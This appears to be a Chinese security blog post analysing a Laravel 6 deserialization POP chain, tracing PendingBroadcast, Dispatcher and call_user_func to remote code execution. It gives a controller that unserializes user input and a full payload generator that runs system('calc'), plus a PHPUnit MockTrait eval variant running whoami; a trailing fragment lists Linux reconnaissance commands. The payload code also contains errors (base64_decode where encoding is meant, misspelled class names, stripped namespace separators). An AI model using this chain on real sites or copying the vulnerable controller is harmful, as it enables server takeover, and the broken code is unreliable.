最近关于Thinkphp的反序列化链的文章较多,看了七月火师傅Laravel5.8Pop链构造的文章,想着能不能在6中找到新的利用链,简单的跟了一下,找到一处可以触发__toString的任意文件删除Gadget,但是继续跟下去发现无法利用只好作罢,于是动手学习一下这条链。
Laravel框架是一套比较简洁,且容易上手的PHP Web开发框架,使用者可以用Laravel快速的构建自己的Web应用程序,Laravel每个版本对php版本的要求都有不同,如本文中的Laravel6就需要PHP7.1+以上版本,安装Laravel项目可以使用Composer安装,命令如下:
composer create-project --prefer-dist laravel/laravel=6.0
因为默认镜像的服务器在国外且网络较慢而国内的镜像比较旧,所以建议下载一键安装包安装,下载地址:https://qcdn.xueyuanjun.com/laravel/releases/laravel6.zip,下载后解压即可
app/Http/Controller目录下用于存放控制器,resources目录下的view目录用于存放模板文件(Laravel采用的是Blade模板引擎),route用里面用于定义路由,我们重点关注vendor目录
搜索全局__destruct()
方法,找到一个任意文件删除的Gadget且可以触发__toString
方法,但跟下去发现无法利用所以略过(希望有师傅能操作一波,让我学习一下),其中一处__destruct方法在vendorlaravelframeworksrcIlluminateBroadcastingPendingBroadcast.php
文件的第55
行
其中events
可控,传入的event
也可控,即这一处我们可以控制events
为我们想要访问的类,这样我们可以访问该类中存在的dispatch方法,并传入我们想要传入的值,我们搜索全局的dispatch方法
找到一处在vendorlaravelframeworksrcIlluminateBusDispatcher.php
文件中的70
行
这里存在一个dispatch方法,且传入的参数我们可控,跟入查看可以发现这里有两个返回点,后一个跟下去没啥可以利用的地方,我们去看第一个的逻辑,if中会判断queueResolver是否有值(这一处我们可控),并将$command
的值传入commandShouldBeQueued
方法,进行与运算,即两个条件都得为真才能进入该分支,跟进commandShouldBeQueued
方法在同文件的133
行,查看代码
会返回$command
是否为实现ShouldQueue
类的接口的值,我们需要设置$command
为实现该类的接口,即event
为实现ShouldQueue
类的接口,查找实现了该接口的文件,搜索implements关键字:
发现有5个文件满足,我们使用BroadcasEvent.php(其他几个也可以),当满足条件后跟入dispatchToQueue
方法,在该文件的146
行:
第150行调用了call_user_func函数,其中queueResolver我们可控,变量$connection
我们也可控,这样我们就可以执行我们的函数与参数了,设置queueResolver为system,$connection
为calc,即可弹计算器
在路由中添加一条路由:
然后命令行创建一条控制器:
在控制器中添加index方法:
```php
public function index(Request $request){
$code = $request->input('code');
if(isset($code)){
unserialize(base64_decode($code));
}
else{
return view('welcome');
}
}
```
paylaod:
```php
<?php
//反序列化漏洞入口点
namespace IlluminateBroadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;//设置为Dispatcher类
$this->event = $event;//设置参数为继承ShouldQueue接口的类
}
}
}
//设置$queueResolver为system
namespace IlluminateBus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
//设置$connection 为 要执行的命令
namespace IlluminateBroadcasting{
class BroadcastEvent
{
public $connection = "calc";
}
}
namespace{
$dispatcher = new IlluminateBusDispatcher();
$broadcastevent = new IllumicnateBroadcastingBroadcastEvent();
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher,$broadcastevent);
echo base64_decode(serialize($pendingbroadcast));
}
```
如图:
其中我们还能使用call_user_func函数,调用任意类的任意方法call_user_func(array("class","method"),"args"),搜索全局可以实现我们RCE的地方,找到vendorphpunitphpunitsrcFrameworkMockObjectMockTrait.php
文件第33
行的generate
方法存在一个eval调用
mockName与classCode这两个值我们都可控,构造时修改queueResolver
为call_user_func,$connection
为array(new PHPUnitFrameworkMockObjectMockClass(),'generate'),MockTrait的值为下图
即可成功执行whoami命令,如图:
在学习该条链的时候,产生过一些疑惑感谢@Ashe 师傅的解答,同时也感谢分享知识的师傅们,文笔较水,可能写的不是很好如有问题望师傅们斧正,感激不尽。
=== 操作系统 === 发行类型、发行版本 ``` cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release uname -n //hostname主机名…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论